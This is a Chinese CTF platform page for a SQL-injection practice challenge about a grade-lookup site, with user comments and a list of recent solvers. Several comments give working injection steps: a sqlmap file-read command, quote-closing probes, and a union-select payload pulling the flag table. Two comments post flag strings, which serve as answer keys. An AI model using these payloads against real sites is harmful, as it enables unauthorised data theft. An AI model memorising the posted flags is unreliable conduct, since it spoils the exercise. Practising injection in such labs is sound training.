成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 12518
提  示:
描  述:
来源山科大ctf
评论
docker0w 1年前

1. sqlmap读文件 --file-read=/var/www/html/index.php 2. 通过源代码得知库为:skctf 表为:fl4g 3. dump即可

回复 3

G0 1年前

这题不错

回复 0

哥哥 1年前

flag{01c89f505e9db1ee17941ad22f53899f}

回复 0

脚本小子admin 2年前

1.判断为字符型,单引号闭合,语句:1' and 1=1 #(正常显示) 和 1' and 1=2 (不显示)# 2.order by 判断数量 3.union 联合注入

回复 1

wugan777 2年前

flag{0ae5f6b4af2192ee4dc59b22f0498715}

回复 1

爱莉希雅 2年前

1' and 1=2 union select 1,2,3,skctf_flag from fl4g# 打出就行

回复 4
fwsw 1年前

@17776194915 练习联合查询注入的,要是为了完成也可以sqlmap跑

回复 0

17776194915 2年前

有流程吗大佬

回复 0

2448556817 2年前

dabudai

回复 0

19219659971 2年前

从fl4g里面导出了flag,但说flag错误?

回复 1

134679852d9e5 2年前

启动环境以后网页打不开啊。啊啊啊啊啊!!!!! 退钱!

回复 4

canxue2024 2年前

sqlmap一把梭哈

回复 1

WriteUp

image
harry

2 金币

评分(25)

解题动态

zrlht 攻破了该题 11小时前
cykai999 攻破了该题 16小时前
小韩极客 攻破了该题 23小时前
socratesx 攻破了该题 1天前
abc114514 攻破了该题 1天前
托尼二又二 攻破了该题 1天前
Anos 攻破了该题 1天前
EchoOfCloud 攻破了该题 1天前
majixikuwa 攻破了该题 1天前
五彩星云 攻破了该题 1天前
多米今天犯错了没 攻破了该题 1天前
sysgetshell 攻破了该题 2天前
倚楼叹世间 攻破了该题 2天前
hh_lll 攻破了该题 2天前
ciphercici 攻破了该题 2天前
18744838346 攻破了该题 2天前
霸气薛少 攻破了该题 4天前
苦味的辣条 攻破了该题 4天前
FreedomBK 攻破了该题 4天前
snow 攻破了该题 4天前
问题反馈